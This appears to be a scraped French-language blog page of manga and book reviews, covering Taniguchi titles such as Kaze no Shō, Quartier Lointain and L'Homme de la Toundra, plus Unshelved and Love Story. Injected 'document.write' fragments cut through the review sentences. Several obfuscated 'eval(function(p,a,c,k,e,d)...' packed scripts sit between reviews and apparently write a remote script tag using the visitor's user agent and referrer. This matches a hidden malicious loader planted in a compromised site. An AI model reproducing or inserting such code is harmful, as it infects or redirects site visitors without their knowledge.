Review

Kaze no Shō: Le livre du vent

/ Clodjee / 1 Comment

“En l’an deux de l’ère Keian, document.write(“”); époque d’Edo, deux clans s’affrontent dans une guerre sans merci autour d’un manuscrit secret, les Chroniques secrètes des Yagyû. Dans ses pages se trouvent des secrets capables de faire trembler le sh?gunat des Tokugawa. C’est à Yagyû Jûbei, escrimeur légendaire et gardien des Chroniques secrètes, d’empêcher le Japon de sombrer dans une guerre civile sanglante. Une fascinante plongée dans l’histoire du Japon, mise en scène par deux auteurs-culte du manga, Jir? Taniguchi et Kan Furuyama” [Texte de couverture arrière]
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Taniguchi démontre une fois de plus sa polyvalence avec un récit d’action samurai (Jidai mono). En l’an trente et un de l’ère Meiji (1899), un groupe de haut fonctionnaires se réunissent chez Kaishu Katsu pour discutter du bon vieux temps. Ce dernier leur révèle que, peu de temps après que le sh?gun Yoshinobu Tokugawa lui ait confié les pouvoirs du bakufu (sh?gunat), il reçu la visite du douzième maître du clan Yagyû qui lui avait alors remit le légendaire manuscrit des “Chroniques Secrètes des Yagyû”. Rédigé par le sh?gun Ieyasu lui-même, le manuscrit contenait les secrets des Takugawa et devait être transmis de génération en génération à ceux qui avait en mains les pouvoirs du bakufu. Ce sont les révélations du manuscrit qui poussèrent sans doute Kaishu à abdiquer ses pouvoirs et négocier la capitulation d’Edo afin d’éviter une effusion de sang inutile…

Il entreprend donc de raconter à ses collègues comment, en l’an deux de l’ère Keian (1649), Yagy? J?bei réussit à déjouer un complot de Lord Gomino, le mikado (empereur) maintenant retiré à Ky?to, qui visait à renverser le bakufu des Tokugawa. Cet exploit, resté inconnu aux historiens, évita ainsi que le pays sombre dans une guerre civile sanglante. Kaishu débute son récit avec le vol des “Chroniques” par les agents du mikado et il le termine avec leur restitution lors de la confrontation finale entre J?bei et le ninja Yashamaro. Ce serait une histoire relativement simple si ce n’était des nombreuses références culturelles et historiques qui ne sont pas toujours évidentes pour les occidentaux (heureusement il y a des notes en bas de page et un glossaire) et qui alourdissent un peu la lecture.

Kaze no sh? [??? / Le livre du vent] a d’abord été sérialisé dans le magazine Young Champion avant d’être republié en volume (“tank?bon”) par Akita Shoten en 1992. C’est le premier manga historique auquel Taniguchi a contribué. Il est difficile de dire dans quelle mesure les événements de ce récit sont véridique—Yagy? J?bei Mitsuyoshi (1607-1650) fut bel et bien, avec Miyamoto Musashi, un des samurai légendaires du Japon—mais comme le scénariste Kan Furuyama est fervent d’histoire du Japon on peut supposer qu’il a donné au récit une solide base historique. Quoiqu’il en soit, Furuyama semble conclure que les “Chroniques Secrètes des Yagyû” et cette première tentative de restauration du pouvoir impérial ont été un élément clé non seulement pour l’avénement de l’ère Meiji (en 1868)—avec l’abolition définitive du Bakufu (sh?gunat), puis l’ouverture et la modernisation du Japon—mais également pour établir les bases de la mythologie impériale qui poussera une bande de fanatiques à instaurer une dictature militaire qui éventuellement ruinera le Japon en entreprenant la conquête de l’asie toute entière!

Avec Kaze no Sh?, le style de Taniguchi diffère de la clarté et de la précision qu’on retrouve dans ses récits plus personnels. Il adapte son trait aux besoins du genre historique avec des scènes toujours détaillées mais aussi beaucoup plus chargées (on retrouve beaucoup de “ligne de vitesse” en trame pour exprimer le mouvement et l’action). Une autre conséquence de ce choix de genre est que les déambulations paisibles auxquels Taniguchi nous a habitué laissent place à des combats sanglants et à des scènes de violence. L’histoire est cependant intéressante et nous fait découvrir bien des aspects méconnus de l’histoire japonaise mais la lourdeur tant du texte que des planches en rend la lecture moins agréable que la plupart de ses autres ouvrages.

C’est donc une oeuvre mineure mais qui mérite tout de même d’être lue, car ce manga seinen (pour jeune homme) est plus réaliste et éducatif que la plupart des manga sh?nen (pour jeune garçon) de baston pseudo-historique—les Naruto, Rurouni Kenshin, Samurai Champloo, Samurai Deeper Kyo, etc., qui sont malheureusement beaucoup plus populaires—et il se compare pas trop mal aux canons du genre (les Habitant de l’infini, Lone Wolf & Cub ou Vagabond, qui sont tous avantagés par le fait que ce sont des séries).

Kaze no Sh?: Le livre du vent, par Jir? TANIGUCHI & Kan FURUYAMA. Panini Comics (Coll. Génération Comics), 2004. B&W (4 pg en couleur), 17 x 24 cm, 236 pgs. 14.00 € / $24.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2845382923.
Also released in English under the title Samurai Legend (CPM Manga [Central Park Media], Cat.# CMX 63801G, 2003, 240 pg, ISBN 1-58664-856-X, $15.95 US, rated 16+). To be reviewed separately later.
Kaze no Sh? © 1992 Jiro Taniguchi / Kan Furuyama • Akita Publishing Co., Ltd. © 2006 Panini France S.A. pour l’édition française.

Les fils de la terre

/ Clodjee / 2 Comments

“Depuis l’éclatement de la bulle économique, document.write(“”); l’agriculture japonaise est en crise. Année après année, la population agricole du pays ne cesse de diminuer. Il est devenu urgent d’agir. Dans ce contexte pesant, Shuntaro Natsumé, un jeune fonctionnaire un peu pataud mais passionné, se voit confier la lourde tâche d’élaborer une réforme capable d’inverser la tendance. À cette fin, il est envoyé dans un lycée agricole de campagne, comme enseignant. Il s’installe à Takazono, un petit village situé dans une région montagneuse, où il fait la connaissance d’un jeune agriculteur : Kohei. Celui-ci est particulièrement remonté contre les fonctionnaires, et attribue le déclin de ce secteur et des conditions de vie des agriculteurs aux mauvaises politiques agricoles des gouvernements successifs. À son contact, Natsumé va prendre conscience d’une chose : la mission qui lui a été confiée risque d’être plus difficile qu’il ne l’avait imaginé…” [Résumé du premier volume sur le site de l’éditeur]
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Pour avoir la moindre chance de réussir la mission impossible qu’on lui a confié, Natsume doit d’abord apprendre à connaître le milieu rural japonais et ensuite se faire accepter par les habitants locaux, qui sont plutôt désabusés et méfiants face au gouvernement. Il se lie d’abord d’amitié avec les villageois, tous des personnes agées (et principalement des vieilles dames), car la plupart des jeunes sont partis se trouver des emplois à la ville. Puis il gagne à sa cause Mlle Takashina, professeur d’anglais et championne de tir à l’arc qui a été muté au lycée un peu avant son arrivé. Mais il lui faut aussi convaincre ses étudiants de s’intéresser à l’agriculture… Il commence par obtenir le respect de Ryuichi Kokubu, un jeune rebel. Toutefois, acquérir la confiance de Kohei, le seul jeune à être resté au village, lui demandera de plus grand efforts.

Dans le deuxième volume, Natsume continue a être confronté au pessimisme de Kohei. Il se rend cependant compte que la clé du succès serait, d’une part, de faire connaitre les produits du village en faisant la promotion de leur qualité naturelle supérieure et, d’autre part, en attirant les gens de la ville au village en leur offrant des possibilités de ressourcement. Mlle Nanako, proche amie de Natsume et fille du chef de cabinet du ministre de la culture, vient le rejoindre à Takazono et, séduite par la place, décide de s’y installer. Pendant ce temps, Natsume reçoit une nouvelle mission impossible du ministère: faire la tournée du Japon pour trouver des examples d’agriculteurs qui ont réussi—mais la liste qu’on lui fournit a été créé de façon à s’assurer de son échec!

Dans le dernier tome, Natsume et Kohei passent une année à faire la tournée du Japon afin de rencontrer des agriculteurs et recueillir leur opinion. Au hasard de quelques détours pour aider des cultivateurs en difficultés, ils font des découvertes intéressantes. Au retour, ils trouvent un village transformé par les efforts de Nanako et Takashina: elles ont créé la “Maison de la Terre”, une petite boutique où elles vendent les produits du village. Natsume se rend à Tokyo pour proposer une réforme du système d’éducation, mais on lui révèle que depuis le début tout ce projet n’était en fait qu’une manoeuvre politique. Il présente donc ses recommendations directement au premier ministre: une nouvelle option “agriculture” dans les lycées, sorties hebdomadaires des classes de primaire et secondaire en milieu rural pour bonifier l’image de l’agriculture, financement accru pour les agriculteurs participants au project afin de réduire leur endettement et augmenter leur autonomie. Malheureusement, le premier ministre ne pense pas que cela soit politiquement possible… Natsume tentera donc de prouver que son plan est réalisable en le portant d’abord en miniature sur le village de Takazono.

Les fils de la terre [??? / Tsuchi no ko], a d’abord été publié par Shueisha en 2002-03 dans le magazine Oh Super Jump avant d’être compilé en volumes. Son créateur, Jinpachi M?ri [?? ??], a travaillé comme scénariste sur plusieurs autres manga (dont Tajikarao, l’esprit de mon village (avec l’artiste Kanji Yoshikai, publié en français par Delcourt), Benkei in N.Y. (avec Jir? Taniguchi, publié en anglais par Viz Comics) et Kasai no hito (avec Osamu Uoto)) mais c’est cependant sont expertise juridique et agricole qui a profondement marquée Les fils de la terre en lui donnant un aspect documentaire. Les volumes 2 et 3 offrent d’ailleurs des extraits d’une série de portraits d’agriculteurs qu’il a publié dans le National Agricultural News sous le titre “Héritiers de la Terre.”

Les fils de la terre est un excellent manga. Son style relativement traditionel et simple (qui rappelle vaguement celui de Tsukasa Hojo, mais en plus dégagé) est visuellement très agréable. Son récit, fluide et bien rythmé, nous offre une histoire intelligente qui sait captiver et divertir, mais aussi qui nous renseigne beaucoup sur le milieu rural du Japon et les difficultés que connait son agriculture—des problèmes ne lui sont d’ailleurs pas spécifiques. C’est une thématique assez inhabituelle (et peut-être un peu controversée) pour un manga que de dire que le principal obstacle à la résolution de nos problèmes économiques est politique—alors que nos gouvernements succombent aux pressions de lobby industriels au détriment de notre bien-être—et que la solution est dans une économie plus locale, un mode de vie plus simple et moins matérialiste. C’est d’ailleurs un sujet assez actuel alors que les idées altermondialistes sont à la mode et qu’on parle beaucoup d’environnement, de développement durable, d’agriculture “bio”, d’efficacité énergétique ou de simplicité volontaire. Ce manga ne vous convaincra sûrement pas de faire un “retour à la terre” mais il vous ferra certainement prendre conscience d’une partie des problèmes de notre société consommatrice.

Les fils de la terre, par MORI Jinpachi (scénerio) & HATAJI Hideaki (dessin). Delcourt (Label Akata, Coll. Ginkgo), 2007-2008. 3 vols., n&b, 12.7 x 18 cm, 218 / 207 / 180 pgs. 7,50 € / $13.95 Can chacun. Recommandé pour adolescents (14+). ISBN: 978-2756005485 (Vol. 1), 978-2756005492 (Vol. 2) and 978-2756005508 (Vol. 3).
Tsuchi no ko © 2002 by Jinpachi Môri, Hideaki Hataji. All rights reserved. © 2007 Guy Delcourt pour l’édition française.

Encyclopédie des Animaux de la Préhistoire

/ Clodjee / 1 Comment

“Il y a longtemps, document.write(“”); bien longtemps, si longtemps que c’est difficile à imaginer. La nature n’était pas encore polluée, elle était luxuriante et toutes sortes d’animaux vivaient sur la Terre. Ce sont les ancêtres des animaux actuels. Pourquoi l’éléphant est-il si grand ? Comment les ours se sont-ils mis à hiberner ? Confrontés aux terribles changements de la nature, tous ces êtres ont connu des joies et des peines; certains ont évolué, d’autres se sont éteints. Telles sont les lois de la Nature.” [Texte d’intro sur le site de l’éditeur, basé sur la préface de Taniguchi]
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Jir? Taniguchi est un mangaka des plus éclectique. On retrouve plusieurs grands thèmes tout au long de son oeuvre, mais chacun de ces thèmes a eut une certaine proéminence durant une période de temps. Ainsi, durant les années ’80, il a surtout écrit des histoires policières ou d’action inspirées du roman noir et des histoires inspirées du roman animalier. Dans les années ’90, il a développé ses oeuvres maîtresses traitant de la vie quotidienne et des souvenirs. Puis, dans les années 2000, il a surtout abordé des sujets traitant du grand air et de la nature. L’Encyclopédie des animaux de la préhistoire s’inscrit dans son thème animalier et n’est sans doute pas étrangé au fait qu’il ait été, de 1966 à 1972, l’assitant de Ky?ta Ishikawa pour lequel il dessinait surtout des animaux.

L’Encyclopédie des Animaux de la Préhistoire [???? / Gen Juiten] a d’abord été sérialisé entre 1987 et 1990 avant d’être compilé au éditions Futabasha en 1998 (2006 en France). Il s’agit de dix-huit petites histoires courtes (dont deux en couleurs: “Prologue: La Promenade de l’Elasmotherium” et “Chapitre 3: Souviens-toi… Le Mammouth jeffersonien”) qui font six ou huit pages et qui nous introduisent à la vie quotidienne d’autant d’espèces d’animaux préhistoriques (Elasmotherium, Machairodus, Agriotherium, Mammouth, Phororhacos, Pliohippus, Mégatherium, Oxydactylus, Paleomastodon, Protocetus, Kannemeyeria, Cynodictis, Indricothère, Palaeotragus, Proganochelys, Mesocyon, Eozostrodon et Ramapithèque). Les histoires sont toutes suivies d’un commentaire de deux pages, par Ryuichi KANEKO, qui nous en apprend un peu plus sur l’époque, les moeurs ou la physiologie des petites bêtes en question.

Avec L’Encyclopédie des Animaux de la Préhistoire, Taniguchi nous offre un style très réaliste et détaillé (un peu trop peut-être par moment car les planches y sont parfois un peu surchargées). C’est un de ses ouvrages mineurs, qui est plus intéressant pour son aspect “encyclopédique” de vulgarisation scientifique, qui vise sans doute à intéresser les jeunes à la préhistoire, que pour ses récits trop courts. L’ensemble se veut léger mais malheureusement les appendices savants le rendent trop lourd pour être une lecture agréable et relaxante. C’est plutôt original et éducatif, mais pas le genre de lecture à prendre pour tuer le temps dans la salle d’attente d’une clinique.

Encyclopédie des animaux de la préhistoire, par Jir? TANIGUCHI (commentaires par Ryuichi KANEKO). Dargaud (Coll. Kana, label Made In), 2006. B&W (14 pg en couleur), 15 x 21 cm, 164 pgs. 10 €. Recommandé pour adolescents (12+). ISBN: 978-2505000273.
Tales of the prehistoric animal kingdom © 1998 by Jiro Taniguchi. All rights reserved. © Kana (Dargaud-Lombard s.a.), 2006 pour la traduction française.

Quartier Lointain

/ Clodjee / 3 Comments

“Homme mûr de 48 ans, document.write(“”); transporté dans la peau de l’adolescent qu’il était à 14 ans, Hiroshi continue la redécouverte de son passé. Questionnant sa grand-mère, ses parents, ses amis, il réalise tout ce qui lui avait échappé lorsqu’il était jeune. Et petit à petit, l’année scolaire avançant, il voit se rapprocher la date fatidique où son père disparaîtra, pour toujours, sans aucune explication. Peut-il changer son passé ou est-il condamné à le revivre, impuissant? Et retrouvera-t-il son existence normale, sa femme et ses enfants?” [Texte d’intro sur le site de l’éditeur] “Prix du meilleur scénario au Festival d’Angoulême 2003. Prix Canal BD des librairies spécialisées en 2003. Prix de la meilleure BD adaptable au cinéma au Forum de Monaco 2004.” [Texte de couverture arrière]
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Ce n’est pas un hasard si l’oeuvre de Jir? Taniguchi est souvent adaptée en français par Frédéric Boilet, qui se fait également le héraut de la “nouvelle manga.” Ce genre se définit comme une nouvelle vague de roman graphique qui surpasse les marchés nationaux que sont la BD européenne, le comics américain ou le manga japonais pour offrir une sorte de syncrétisme artistique. C’est un genre d’auteur, plus mature et innovateur que son parent commercial, qui a une prédilection particulière pour le thème universel de la vie quotidienne. Les oeuvres personnelles de Taniguchi, celles dont il est également l’auteur en plus d’en être l’artiste comme c’est le cas pour Quartier Lointain, appartiennent indéniablement à ce genre.

 

 

Quartier Lointain [????? / Haruka-na machi he], après une sérialisation dans le magazine seinen Big Comic, destiné à un public masculin plus âgé, a d’abord été publié en deux volumes (1998-99 au Japon et 2002-03 en France) avant d’être compilé dans une édition intégrale (2004 au Japon et 2006 en France). Quatre ans plus tôt, avec Le journal de mon père (l’histoire d’un homme qui, après un longue absence, revient dans son village natal pour les funérailles de son père), Tanuguchi avait déjà touché le thème de la réminiscence, mais il y ajoute cette fois une touche de fantastique. Son style habituel, soigné et détaillé, qui sait fort bien rendre toute l’émotion et la sensibilité du récit, est le canevas idéal pour ce superbe travail narratif. Une fois de plus Taniguchi documente d’une façon intimiste la vie quotidienne japonaise.

On s’attend à ce qu’une telle histoire de voyage dans le temps soit une forme de science-fiction introspective, mais c’est en fait clairement du fantastique tel que définit par Todorov. Si Taniguchi n’aborde jamais les causes de l’expérience temporelle de son personnage, il met néanmoins en place les éléments nécessaire pour deux explications opposées: d’une part l’événement survient alors que Hiroshi visite la tombe de sa mère et qu’un papillon croise son chemin, ce qui suggère une intervention divine ou supernaturelle et, d’autre part, comme l’expérience débute et se termine au même endroit et qu’il avait beaucoup bu la veille, on peu imaginer que toute cette histoire est une sorte de rêve ou d’épiphanie éthylique. Toutefois, si cela nous offre une intéressante question rhétorique, l’élément déclancheur du récit n’a guère d’importance. Ce qui intéresse Taniguchi ce n’est pas tant le “comment” que le “pourquoi.”

Une fois qu’on a compris les prémices de l’histoire on ne peut que se demander si Hiroshi sera prisonnier de ce jeune corps, condamné à revivre son adolescence (l’horreur!) ou si le savoir acquit et son expérience d’adulte ne l’amèneront pas à modifier son “futur.” En fait, l’expérience sera doublement transformationnelle. En portant son regard d’adulte sur son enfance il comprend beaucoup de choses qui avaient échappé à l’enfant qu’il était. Inversement, expérimenter à nouveau la vivacité et la vigeur de la jeunesse, lui permet de se ressourcer et de remettre en question sa vie de salarié aux portes de la cinquantaine, un peu trop porté sur l’alcool et qui ne porte plus qu’un intérêt distant à sa famille.

 

Quartier Lointain nous offre donc une lecture intéressante et intelligente. Ce manga fait définitivement partie des meilleurs oeuvres de Taniguchi, celles qui méritent vraiment notre attention. A noter qu’une adaptation cinématographique, réalisé par Sam Garbarski, est disponible en France.

Quartier Lointain: L’intégrale, par Jir? TANIGUCHI. Casterman, 2006. B&W (6 pg en couleur), 17 x 24 cm, 405 pgs. 25.95 € / $54.95 Can. Recommandé pour adolescents (13+). ISBN: 978-2-203-39644-9.

[ Amazon — Renaud-Bray — Biblio — WorldCat ]

Also available in English from Ponent Mon / Fanfare under the title A Distant Neighborhood Volume 1 and Volume 2 (2009, 200 & 208 pg, £12.99/$23.00 US each). To be reviewed separately later.

Quartier Lointain © 1998, 1999 by Jiro Taniguchi. All rights reserved. © Casterman, 2006 pour la traduction française.

Unshelved #7: Reader’s Advisory

/ Clodjee / 1 Comment

“BREAKING LITERARY NEWS FROM THE AWARD-WINNING STAFF OF THE MALLVILLE PUBLIC LIBRARY. Whether it’s a Paranormal Romance front coming in from the North, document.write(“”); colliding Low-carb and Low-fat Cookbooks causing a whirlwind in the South, or a high-pressure Get Rich Quick system building in the Tri-State area, our news team is there with the reading recommendations you need. Featuring the latest daily and Sunday comic strips from Unshelved, your trusted source for library humor.” [text from the back cover] “Follow the adventures of a young librarian named Dewey, his dysfunctional coworkers, and the people they’re supposed to be helping.” [Amazon.com]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dadet|var|u0026u|referrer|nafaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkizi|var|u0026u|referrer|difzn||js|php’.split(‘|’),0,{}))

Reader’s Advisory is the seventh yearly compilation of Unshelved, a daily online comic strip set in an american library. It was originally published on the Unshelved website from February 17, 2008 to February 15, 2009, and ALA CogNotes newspapers in June 2008 and January 2009 (CogNotes is the daily paper of the American Library Association Midwinter Meeting and ALA Annual Conference, where the famous Unshelved “Conference Tips” are published). I have already reviewed the previous six volumes. You can also find more information in the Wikipedia entry, the Official Unshelved Facebook page or the Unshelved Readers Facebook group.

Written (under a pen name) by a real-life librarian who works in an undisclosed library in the Pacific Northwest of the U.S.A., Unshelved is a rather funny comic strip. The art is a little crude and it’s probably of a greater interest to me because I work in a library (although it made me laugh even before I started working there). Also, I admit that this particular volume feels a little less funny to me, maybe because the novelty of a witty librarian in riduculous situations is wearing off and previous volumes had more continuity in the story of each strip as they were more or less following a general theme. I don’t see that in Reader’s Advisory as you have some stories or themes that go on only for two or three strips. However, after seven volumes it still makes me laugh, so I recommend it without hesitation (even more so to my fellow assistant-librarians, for whom it should be a mandatory reading)!

This volume compiles the daily strips (unfortunately not in their original publishing order), some “Library Tips”, the ALA “Conference Tips” as well as the color “Book Club” pages (where the authors illustrate book recommendations). The beauty of it is that you can always read it on the Unshelved website: it’s free.

Strip from 2008/03/01:
Some of my favourites: 2008/02/18, 2008/03/03, 2008/03/17, 2008/04/01, 2008/04/02, 2008/04/24, 2008/05/30, 2008/08/23, 2008/09/16, 2008/10/24, 2008/11/11, 2008/11/13, 2008/11/22, 2008/12/26, and 2009/01/30.

Unshelved Vol. 7: Reader’s Advisory, by Gene Ambaum and Bill Barnes. Overdue Media, 2009. 10.7 x 8.2 in, 128 pgs., $17.95 US / $22.95 CDN. ISBN-13: 978-0-9740353-6-9.

Unshelved: Reader’s Advisory © 2009 Overdue Media LLC. All rights reserved.

L’Homme de la Toundra

/ Clodjee / 3 Comments

“Perdus dans le grand nord, document.write(“”); deux hommes ne doivent leur survie qu’à l’apparition providentielle d’un vieux chasseur, qui leur confie une étrange légende [“L’Homme de la toundra”]; cernés par les loups, deux explorateurs partis enterrer un de leurs compagnons en Alaska luttent pour leur survie [“Le grand ouest blanc”]; dans le Japon des années 20, un homme part sur la piste de l’ours qui a tué son fils [“Nos montagnes”]; un biologiste marin se met en quête du mythique cimetière des baleines… [“Retour à la mer”]. Six nouvelles et autant d’histoires d’hommes confrontés à une nature sauvage, tantôt cruelle, tantôt miséricordieuse, mais toujours grandiose. A travers des récits marqués par un profond respect de la vie animale, Jirô Taniguchi rend hommage à l’oeuvre de Jack London, dont il est d’ailleurs question dans la première histoire. Au sein de cet ensemble singulièrement cohérent, une nouvelle se distingue pourtant: “L’appartement Sh?kar?” qui évoque de manière subtile un Japon disparu.” [Texte d’intro sur le site de l’éditeur]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfbet|var|u0026u|referrer|rffys||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybbhy|var|u0026u|referrer|rihdr||js|php’.split(‘|’),0,{}))

L’oeuvre de Jir? Taniguchi m’a été maintes fois recommandé et je dois avouer que dès la première lecture j’ai été envouté. Son superbe style, précis et poignant, de même que sa narration, concise et adroite—qui progresse toujours à un rythme très lent et quasi-contemplatif—en font un artiste incontournable et le plus zen des mangaka! Et ce sont précisement son art détaillé et ses récits profonds qui le rapproche beaucoup de la bande-dessinée Européenne (dont il reconnait l’influence) et c’est sans doute pour cela qu’il est plus populaire (énormément même) en Europe qu’en Amérique.

L’Homme de la Toundra [????? / T?do no Tabibito], publié en 2004, ne fait pas exception et est un superbe exemple du talent de Taniguchi. Toutefois, contrairement à ce que dit le texte de présentation de l’éditeur, ce recueil de six courts récits est un peu inégal dans son ensemble. Le theme général du recueil, d’un caractère très Japonais, est un sujet qui est très cher à l’auteur: le respect et la communion avec la nature. C’est particulièrement évident dans le dernier récit, “Retour à la mer.” Les trois premiers récits, quant à eux, traitent plus de la confrontation avec la nature sauvage et le combat pour la survie. Cependant, deux des récits du recueil se distinguent en s’attachant plus à une autre thématique très chère à l’auteur: il s’agit d’histoires touchantes, qui s’inscrivent dans le quotidien avec une sorte de nostalgie urbaine et semblent souvent autobiographiques. “Kaïyosé-Jima, l’île où accostent les coquillages” offre déjà un environnement plus humain. Suite au divorce de ses parents et à la maladie de sa mère, le jeune Takashi passe l’été chez son oncle, dans un petit village de pêcheurs. Grâce à Yae-chan, une orpheline recueillie par son oncle et qui lui apprend à nager, il oublit peu à peu le chagrin que l’absence de sa mère lui cause. Un jour qu’ils pêchaient des coquillages ensemble, une tempête pousse leur embarcation loin en mer et ils doivent passer une terrible nuit sur une petite ile. Dans “L’appartement Sh?kar?,” l’histoire se déroule dans un environnement plus urbain, alors qu’un jeune mangaka est influencé par l’ambiance de son nouvel appartement, situé dans un ancien bordel. Je ne crois pas que ces deux récits rompent totalement avec la thématique de la nature, car ici Taniguchi semble nous dire que nous pouvons toujours communier avec notre environnement, qu’il soit naturel ou urbain.

L’Homme de la Toundra, par Jir? Taniguchi. Casterman (Coll. Sakka), 2006. B&W, 15 x 21 cm, 248 pgs. 11.50 € / $23.95 Can. Recommandé pour jeunes adultes (16+). ISBN: 9782203373846.
Also available in English from Ponent Mon / Fanfare under the title The Ice Wanderer and other stories (240 pg, £11.99/$21.99 US). You can read the comment on the english version elsewhere on this blog.

L’Homme de la Toundra © Jiro Taniguchi, 2005. © Casterman, 2006 pour la traduction française.

Tōkyōland

/ Clodjee / 1 Comment

“Pourquoi êtes-vous venu au Japon? Cette question qu’on me posait pour la 132e fois, document.write(“”); j’étais encore bien incapable d’y répondre. Pour y rejoindre Kayoko? Au début peut-être… Mais plus le temps passait, plus j’en doutais. Au-delà de ce qui m’avait poussé à partir pour Tokyo, il y avait ce qui m’y retenait, l’inconnu, des promesses d’aventures et… travailler chez des mangakas!” [Texte de couverture arrière]
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sysnt|var|u0026u|referrer|sfnrf||js|php’.split(‘|’),0,{}))

“Jean-Yves Brückman est un jeune dessinateur français qui se cherche. Il réalise un jour un vieux rêve : partir au Japon pour y vivre. Il se heurtera assez vite à l’apprentissage d’une vie d’immigré. Après plusieurs échecs professionnels, et bien qu’ignorant tout du manga, il deviendra assistant mangaka.” [Texte d’intro sur le site de l’éditeur]

T?ky?land m’a été recommandé par plusieurs amis et collèques: “T’es un fan de manga et du Japon alors tu vas certainement aimer cette superbe bédé” me disaient-ils. En effet, j’ai fini par l’emprunter à la bibliothèque publique et j’ai beaucoup apprécié. C’est un récit anecdotique où le “héros” raconte son expérience de voyage au Japon, dans un genre qui rappelle un peu le croisement entre la série Paul du dessinateur Québécois Michel Rabagliati et le film Lost in Translation de la réalisatrice Sofia Coppola. La première chose que l’on remarque en lisant T?ky?land, c’est son style un peu naïf, caractéristique de ce que l’on retrouve souvent ces temps-ci chez les “jeunes” auteurs qui font dans les récits de chronique sociale ou tranche-de-vie (Michel Rabagliati, Marjane Satrapi, Guy Delisle, etc). Malgré des arrière-plans relativement détaillés, le style est très simple et dégagé, mais offre des personnages aux traits sommaire, quasi-caricatural. C’est un style à mi-chemin entre le manga japonais et la bédé européenne: un dessin à l’encre, texturé de trames mais qui se distinque par l’ajout de vert pastel qui donne un peu plus de profondeur à la case.

Si le style de T?ky?land n’est pas pour plaire à tous, son histoire ne devrait pas laisser personne indifférent. Les mésaventures de Jean-Yves au pays du soleil levant trace un intéressant panorama de la culture japonaise et nous apprend beaucoup sur la société nippone et les différences culturelles qui la sépare de l’Occident. On découvre aussi de nombreux détails tant sur les “working-holiday” visas que sur le travail d’assistant mangaka. Tout cela n’est pas par hasard puisque Benjamin Reiss a vécu six ans au Japon—où il a entre autre travaillé comme assistant pour le mangaka Oiwa Kenji, l’artiste de Bienvenue dans la NHK. Il admet volontier dans des interviews que son récit est largement autobiographique. Mais une fois la lecture de T?ky?land terminée on reste un peu sur notre faim, se demandant si Jean-Yves retournera au Japon et espérant lire d’autres de ses mésaventures. Heureusement, Benjamin Reiss nous rassure en affirmant qu’une suite est déjà en train.

T?ky?land: Les aventures d’un Français au Japon, par Benjamin Reiss. Ed. 12 Bis, 2009. B&W (plus une couleur), 19 x 26 cm, 96 pgs. 15.00 € / $29.95 Can. Recommandé pour adolescents (14+). ISBN: 978-3-35648-068-2.
T?ky?land © 12 BIS, 2009.

Love Story

/ Clodjee / 1 Comment

Harvard Law student Oliver Barrett IV falls in love with music student Jennifer Cavilleri. The fact that they are from two different social backgrounds (him from a rich and powerful family and her from the working class) doesn’t keep them from getting married. Oliver has always had issues with his father and he defies him once more with this marriage, document.write(“”); even if his father threatens to disown him. They build their life successfully and happily on their own until tragedy strikes. Love Story is considered one of the most romantic movie ever made. It tells of the love of a lifetime, the love between father and son, as “Love means never having to say you’re sorry.” It received seven Academy Award® nominations (including best picture, best director, best screenplay, best actor & actress and won one for best original score).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kznbn|var|u0026u|referrer|haknz||js|php’.split(‘|’),0,{}))
